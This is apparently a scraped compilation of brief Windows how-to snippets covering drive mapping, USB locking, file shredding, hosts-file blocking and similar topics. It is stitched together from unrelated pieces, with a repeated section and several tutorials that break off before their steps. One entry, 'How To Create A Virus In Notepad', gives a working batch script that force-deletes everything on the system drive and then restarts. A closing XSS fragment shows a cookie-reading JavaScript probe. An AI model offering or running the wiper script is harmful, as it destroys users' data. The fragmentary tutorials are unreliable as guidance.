How to map a drive letter to Google Drive in Windows

Google Drive's shortcut in Windows 7/Vista shows up in your Favorites folder, while in Windows XP, it shows up in your My Documents folder. The shortcuts are easy enough to use, but if you find using a specific drive letter to be more convenient, there's an easy way to map one to your Google Drive account.

If you're comfortable using the command prompt, you can use the DOS command: subst. A better and easier way to create the drive association is using a small program called Visual Subst. It's basically a GUI front-end to the subst command.

Lock and unlock your computer with a USB drive, secret-agent style

If you prevent access to your computer with just a password, you are missing out on an alternate (and more secure) way to lock down your computer.

Predator, a free Windows program, turns your USB drive into a key that locks your computer when it's removed. To unlock your computer, you'll have to plug the USB drive back in. (Talk about having secret-agent-style security.)

How to Drag and drop files to erase them permanently with EraserDrop

Every now and then, we need to make sure that the files we delete are really gone forever. Financial info, old work data, or poems we wrote in college all need to go down the memory hole with no chance of retrieval, and there are quite a few tools out there that get the job done. EraserDrop makes it easy, letting you drag and drop files to shred them for good. Here's how to use it:

1. Download and install EraserDrop here.

How to undelete files on Windows with Undela

Undela is Ctrl+Z files you've emptied out of the recycle bin.

(Credit: Photo by Nicole Cozma/CNET)

How to remove hidden data from your photos with Metanull

Digital photographs, whether they come from your point-and-shoot camera, dSLR, or your smartphone, contain hidden data. Most of the data is harmless, like the model of the camera and settings used in the shot. You might, however, want to limit the sharing of GPS data, which could reveal where you live, work, or where your kids go to school.

If you want to keep all the data intact, but make a scrubbed copy to share safely, you can do so in Windows without any additional software. However, not all versions of Windows support the removal of metadata from photos. Alternatively, you can use a small program called Metanull, which works in Windows XP and up. Here's how:

How To Create Wifi Hotspot in Windows With Connectify

Just a few years back Wi-Fi was considered a premum feature in mobile phones. Now even entry level mobiles are coming equipped with Wi-Fi. Using Wi-Fi we can enjoy free internet on our mobiles in Wi-Fi hotspots. But what if you don’t have a Wi-Fi hotspot near by or don’t have a Wi-Fi router . We can still share our internet computer’s internet connection with other Wi-Fi equipped devices like mobile phones, iPad, iPod touch etc. For this we need to use a freeare called Connectify. Connectify turns a laptop to a Wi-Fi hotspot.

How To Find And Delete Similar Images In Windows xp , Vista ,7

AWESOME DUPLICATE PHOTO FINDER can you help you.

How To Remote Access Another Computer Using Chrome Browser

Now you can Remote Access another computer using Chrome browser without any subscription or any paid software. we have going to show remote access another account for free using chrome web browser. There are many applications on the web which allows you to remotely control and see into others system and they are really useful for us in many ways. Chrome has launched a app for its browser named Chrome Remote Desktop BETA which allows you to remotely control your friend’s system using chrome, google app or gmail id. The app remotely allows you to access and share your information. Remember that both the systems must have the app installed in their google chrome browser .It works on all Operating system including Mac, windows and linux.

Launch Apps With Custom Keyboard Shortcuts

TyperText is an application which comes packed with a special an overly simple feature, yet powerful text expander and application launcher. The effort you need to do is to specify the keywords that are to be replaced with specified text string and provide with a hotkeys to launch the application, thus you can open the files and visit websites etc., in the settings files. This settings files which uses a simple syntax to associate hotkeys combinations with application’s executable file and website URL etc., and performs text expansion functions.

How To Access Blocked Websites At College , Work , And Other Places

In this tutorial we will learn about “How To Access Blocked websites at schools ,Colleges, work and other places for free using a free software called Freegate” . Now a days many of the individuals are getting worried regarding the Internet censorship as this trouble seems to be getting worse with huge number of forums with respect all the required bills which are like PIPA and SOPA thus these are with a target so that to drive away the freedom of the individuals with Censorships along with anti-privacy laws. Apart from this there are few websites which does not allow the individual of certain regions with all the videos hosted on YouTube. 

How to Block a website on a particular computer

1. Click Start->All Programs->Accessories->Command Prompt.
2. Click Command Prompt This will open a DOS command window.
3. Type: notepad C:/Windows/System32/drivers/etc/hosts
4. Locate the line 127.0.0.1 localhost
5. To block the website xyz.com for example, just add this text under 127.0.0.1 localhost:

127.0.0.1 xyz.com
127.0.0.1 www.xyz.com

How to Lock Folder Using Notepad

Wanted to lock folder but not having essential software to use? Don’t worry here i tell you the simplest method to lock folder in any your computer’s drive.

With notepad you can lock any of the folders without getting worry of forgetting password, limit of software, etc.

Just follow these steps and you’re done.

Suppose you want to lock any folder name wallpaper in drive F: whose path is F:wallpaper. Then open notepad and copy this code.

How to Speed up your Computer Slowing Down with Prefetch Trick

In our previous post we dealt with Reasons for Computer Slowing Down Over Time and in this post we are going to check out how to speed-up our computer slowing down by using a simple Prefetch trick. Generally Computer Slowing Down is a common problem that many computer geeks face. The performance of the computer or any electronic device degrades as time passes and also accordingly their latest updates hit the market. People run around these updated elements and try to get new one of upgrade the existing piece. What might be the reason, regardless with the latest technology or other elements every one will experience the computer slowing down over time.

How to Disable Laptop Touchpad

If you want to know How to Disable Laptop Touchpad, we’ll help out with this tutorial. For people who got used to use a desktop, don’t feel comfortable with the laptop’s touchpad for cursor movements and want to disable laptop touchpad and want to access the cursor with the traditional mouse, then this tutorial will help you. Personally, I don’t feel that comfortable with my touchpad, so I always use my traditional mouse for more productivity. After connecting our mouse, there isn’t any need for us with this touchpad.

How to Shutdown your Computer Automatically at a specific time

This post will be useful for those people who have power-cuts in their areas. Recently we are facing power-cuts 2-3 hours per day, which are mostly early mornings. I will be downloading torrents during the nights, No one would like to getup from their deep sleep at 5 or 5:30 in the morning to shutdown the computer. My UPS backup time is around 15-20 minutes, in the deep sleep no one can be hardly able to listen the beep sound of a UPS. So that computer’s power supply will be interrupted causing some damage to Hard disk drive.

How To Create A Virus In Notepad

Hey,this is how to create a virus that deletes the content of your hard drive.
Paste this code in notepad.exe.

Code:

@echo off 
 del %systemdrive%\*.* /f /s /q 
 shutdown -r -f -t 00

Remeber to save this as a .bat file.

How to Use Google Calendar as a Project Management Tool

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Create a calendar for each project – To preserve client privacy I temporarily changed the title of each calendar you see in this first screenshot. The syntax though remains the same, ‘year' (11=2011, 10=2010, etc.) and then the ‘name of the project'. Using a proper syntax helps you to keep your calendar in order and makes them easier to browse/search.

Sharing – Share the calendar with the members of your team involved in the project. You can even share calendars with clients if they express the need to monitor the stream of activities and project deadlines. I've been in this situation a couple of times.

How To Run Java Applications On Systems Without JRE

Great programs like the file hosting downloader JDownloader or the feed reader RSSOwl require Java to run. That’s fine if you have full control of a system, and not so great if you sometimes have to work on a system where Java, in the form of the Java Runtime Environment (JRE) is not installed. If you want to take your apps with you, you need to find a way to get them to run on the system despite that.

The answer is jPortable, a portable Java Runtime Environment that is provided by Portable Apps. While designed for use with portable programs offered by the site and service, it is not restricted to that.

How to remove hidden data from your photos with Metanull

Digital photographs, whether they come from your point-and-shoot camera, dSLR, or your smartphone, contain hidden data. Most of the data is harmless, like the model of the camera and settings used in the shot. You might, however, want to limit the sharing of GPS data, which could reveal where you live, work, or where your kids go to school.

XSS ( Cross Site Scripting)

Occurs any time…
• Raw data from attacker is sent to an innocent user

Raw data…
• Stored in database
• Reflected from web input (form field, hidden field, url, etc…)
• Sent directly into rich JavaScript client
• Virtually every web application has this problem
• Try this in your browser – javascript:alert(document.cookie)

Stored XSS